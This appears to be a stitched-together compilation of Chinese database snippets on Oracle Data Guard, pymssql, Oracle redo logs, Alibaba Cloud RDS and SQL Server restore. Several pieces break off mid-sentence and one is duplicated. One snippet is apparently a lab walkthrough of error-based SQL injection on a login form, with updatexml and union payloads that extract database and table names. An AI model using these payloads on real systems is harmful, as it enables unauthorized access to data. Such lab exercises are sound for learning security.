sql数据库

DG 是 Oracle Data Guard 的简称。也就是Oracle11g的 数据卫士。 由于在工作中 Oracle 和 SQL SERVER2008 同时都需要维护管理。给我的感觉这里的 DG 其实和 Sql Server 2008的镜像实现的功能是一样的（当然更强大一些）。DG 中的物理备用库 尤其和 Sql Server 2008 的镜像实现的功能是一样的。但也有不同点：DG中的物理备用库可以在特定条件下 以只读或读写方式打开。而镜像则不可以（2012版本虽然可以读，但还是不能打开），当然 Sql Server 2008 的日志传送功能实现的 热备份库，是可以只读的。DG中的逻辑备用库既可以读又可以写（如果写的话需要闪回数据库后才能继续和主库保持同步）基于逻辑备用库的结构可以和 主库的不一样，这点Sql Server 2008 的复制订阅方式实现的从库有些类似。具体有哪些不同点，这里就不累述了，大家自己看书自通吧。 DG 使用3 中服务来管理 REDO数据的传送、REDO数据的应用、更改数据库角色。 1 、REDO 传输服务：控制从主生产库将REDO数据自动传输到一个或多个归档目的地。 2 、日志应用服务：即在备用库上应用REDO 数据，保持与主库事务同步。可以从归档redo日志文件和备用redo日志文件中应用。 3 、角色转换服务：使用切换或故障转移操作

DG 是 Oracle Data Guard 的简称。也就是Oracle11g的 数据卫士。 由于在工作中 Oracle和 SQL SERVER2008 同时都需要维护管理。给我的感觉这里的 DG 其实和 Sql Server 2008的镜像实现的功能是一样的（当然更强大一些）。DG 中的物理备用库 尤其和 Sql Server 2008 的镜像实现的功能是一样的。但也有不同点：DG中的物理备用库可以在特定条件下 以只读或读写方式打开。而镜像则不可以（2012版本虽然可以读，但还是不能打开），当然 Sql Server 2008 的日志传送功能实现的 热备份库，是可以只读的。DG中的逻辑备用库既可以读又可以写（如果写的话需要闪回数据库后才能继续和主库保持同步）基于逻辑备用库的结构可以和 主库的不一样，这点Sql Server 2008的复制订阅方式实现的从库有些类似。具体有哪些不同点，这里就不累述了，大家自己看书自通吧。 DG使用3中服务来管理 REDO数据的传送、REDO数据的应用、更改数据库角色。 1、REDO传输服务：控制从主生产库将REDO数据自动传输到一个或多个归档目的地。 2、日志应用服务：即在备用库上应用REDO数据，保持与主库事务同步。可以从归档redo日志文件和备用redo日志文件中应用。 3、角色转换服务：使用切换或故障转移操作，把备用库更改为主生产库

import pymssql class linkDB(): def linkdb(): #数据库远程连接 conn = pymssql.connect(host="数据库IP地址:端口号",user="用户名",password="密码",database="数据库名",charset="utf8") #使用cursor()方法获取操作游标 cursor = conn.cursor() #查询语句 sql = "这里面是sql语句" try: cursor.execute(sql) #游标 result = cursor.fetchall() #查询 print(result) except: print("连接数据库报错了！") #关闭数据库连接 conn.close() if __name__ == '__main__': linkDB.linkdb() 来源： https://www.cnblogs.com/python99/p/12248050.html

直接输入帐号，密码，zkz，zkz，显示正常 然后输入 zkz zkz' and 666=666 # 显示不正常 然后试试加上括号闭合，输入 zkz zkz') and 666=666 # 成功显示了 然后就猜字段了，输入 zkz zkz') and 666=666 order by 5 # 显示错误 然后继续猜字段，猜出字段为2 然后联合查询找回显点，输入 zkz zkz') and 666=888 union all select 1,2 # 然后发现没有回显点，有点懵 然后试试用updatexml()函数试试，输入 zkz zkz') and updatexml(1,concat(0x7e,(select database()),0x7e),3) # 发现爆出数据库，security 然后就差表名，输入 zkz zkz') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),3) # 得到表名emails 继续查表名，查到referers，uagents，users，zkaq 然后就查字段名，输入 zkz zkz') and updatexml(1,concat(0x7e,

（一）数据库与数据库管理系统 1）目标： 掌握数据库的基本操作； 掌握数据库的常用查询； 能够根据需求设计良好的数据库； 2）实体的概念与数据库 实体（对象）：客观存在的事物都是实体； 实体数据存储的要求：按照一定的分类和规律存储； 数据库：专门用于存储这些试题的信息的数据集合； 数据库的特点： 海量存储数据、数据检索非常方便； 保持数据信息的一致、完整，并实现数据的共享和安全； 通过组合分析，产生新的有用信息； 3）实体存储的基本单元 数据表是实体存储的基本单元，同类实体存放在同一个表中，表又称为实体集合； 数据表中的其他名词： 行（记录）：实体； 列（字段）：实体属性； 4）不同实体存储 存储方法：不同实体存放在不同的数据表中 数据库的理解： 由大量数据、表间关系、以及各种数据操作对象组合成的一个数据集合； 它不是一个简单的数据组合场所； 5）数据库管理系统DBMS（DataBase Management System） 概念： 是一个由用户使用的数据库管理软件，目的是让用户通过操作数据库管理系统完成对数据库数据的处理； 功能： 创建数据库：能够提供数据定义语言（Data Defination Language， 简称DDL），用户利用DDL可以方便地简历数据库（数据表、关系、各种对象）； 操作数据库：DBMS 通过提供数据库操作语言（Data Manipulation

这一篇是总结Oracle的数据库管理(database)，重点是其物理存储部分。图在下面，点击放大。 一些SQL命令： 手工切换重做日志文件组： SQL> alter system switch logfile; 添加联机重做日志文件组： SQL> alter database add logfile group 4 ('/oradata/log4a.log','/oradata/log4b.log') size 10M;/*其中的10M是指每个日志成员文件的大小*/ 添加联机重做日志文件组成员： SQL> alter database add logfile member '/oradata/log4c.log' to group 4, '/oradata/log3c.log' to group 3; 删除联机重做日志文件组(当前组不能删除，至少保留两组)： SQL> alter database drop logfile group 4; 删除联机重做日志文件组成员(只有一个成员时不能删除)： SQL> alter database drop logfile member '/oradata/log4a.log'; 清除日志文件内容： SQL> alter database clear logfile '/oradata/log3c.log'; 关于三大核心文件的几点注意事项：

最近测试了一下阿里云RDS for SQL Server，有些设计简直就是反人类，让人不得不吐槽一番。 1：控制台创建数据库时，数据库名不能包含大小字母。 如上截图所示，数据库名称不能包含大写字母，好吧，这个限制我认了。 但是使用 “ 高权限账号 ” 通过SSMS客户端连接数据库，可以创建包含大写字母的数据库。这个是完全不一致的行为？ 实在不明白要弄成前后矛盾！。最坑爹的是，如果你用SSMS客户端创建了一个包含大小字母的数据库TEST，如果你去控制台删除这个数据库，也会报这个提示。 出于某些因素考虑，可以接受你有一些限制，但是你这样也要整体一致啊！ 不要前后矛盾啊！ 2： 控制台新建了一个数据库后，使用高权限账号在SSMS居然无法访问，必须在控制台的 “ 账号管理 ” 里面，重置账号权限才能访问。 其实细想一下，就是新建了一个数据库，必须对 “ 高权限账号 ” 授权才能访问。 但是这里有一个问题，整个实例中，只有唯一一个 “ 高权限账号 ” ，难道不能在后台新建数据库的时候，自动对其进行授权吗？ 这样我每隔一段时间，新建一个数据库，就必须重置一次账号权限。这个操作，实在让人觉得难以接受。 3：在RDS for SQL Server（常规实例 (基础版)）中，发现所有数据库的数据文件，事务日志文件全部统统放在一个盘下面。这样的设计还是让人有点难以接受。当然不清楚底层是如何配置的

2018年双十一刚过，阿里云数据库发布RDS for SQL Server AlwaysOn集群版，这是业界除微软云SQL Database外，首家云计算公司基于SQL Server最新AlwaysOn核心技术实现的数据库集群版，并且是经过双十一检验的商业化版本。 全形态的产品集合 纵观整个RDS for SQL Server的产品迭代图，AlwaysOn集群版的上线标志这SQL Server数据库在阿里云RDS平台的全面覆盖，阿里云数据库实现了针对企业客户不同阶段的产品体系的匹配。 基础版针对可用性要求不高的业务，并且成本是首要关注选项的客户，如初创企业，是最优选择。WEB版价格甚至比自建还要低，却能获得RDS的运维管理等多项服务，性价比最高。 随着业务的发展，关键业务的可用性要求变高，甚至要求7X24小时的不间断服务，RDS for SQL Server 高可用版基于微软Mirror技术实现，满足此类业务需求。此外，针对企业级客户特性，在高可用版中开放了大量高级特性，如复制模式设置，用户可以根据需求设置主备节点复制模式可实现业务的高可靠或者高性能。此外高可用版本支持Linked Server，实现在RDS中访问其他RDS甚至自建数据库。特别地，在高可用版本中，开放了变更数据捕获（CDC，Change Data Capture）技术，客户可根据CDC提供的能力，同步数据库的变化

''' ORM 对象关系映射 --->映射到数据表的一条条记录 类名 ---> 表名 对象 ---> 一条记录 对象.属性 ---> 字段 ''' from day38 . mysql_control import MySQL # 1.创建字段的类型 对应数据表中一个个字段的创建规范 class Field : #父类 def __init__ ( self , name , column_type , primary_key , default ) : self . name = name self . column_type = column_type self . primary_key = primary_key self . default = default class StringField ( Field ) : #varchar def __init__ ( self , name , column_type = 'varchar(64)' , primary_key = False , default = None ) : super ( ) . __init__ ( name , column_type , primary_key , default ) #继承父类 class IntegerField ( Field ) : #int def __init_

1.得到数据库备份文件,怎么得到的, [能够看这里] ~ 2.把备份文件加个.bak 的后缀,比如: 3.打开SQL , 你能够新建一个空数据库 , 或者利用原有的数据库 , 点击右键>>任务>>还原>>数据库 4.弹出 [ 还原数据库 ] 对话框 , 在常规选择页中,操作例如以下: 5.在 [ 选项 ] 选择页中 , 操作: 6.直接按 确定 就 能够了 (PS: 之前还原第一次的时候 发生了错误, 我用了sa登录,可能是权限问题报错了,后来用WINDOWS身份认证的才得). ~ 来源： https://www.cnblogs.com/yxwkf/p/4001516.html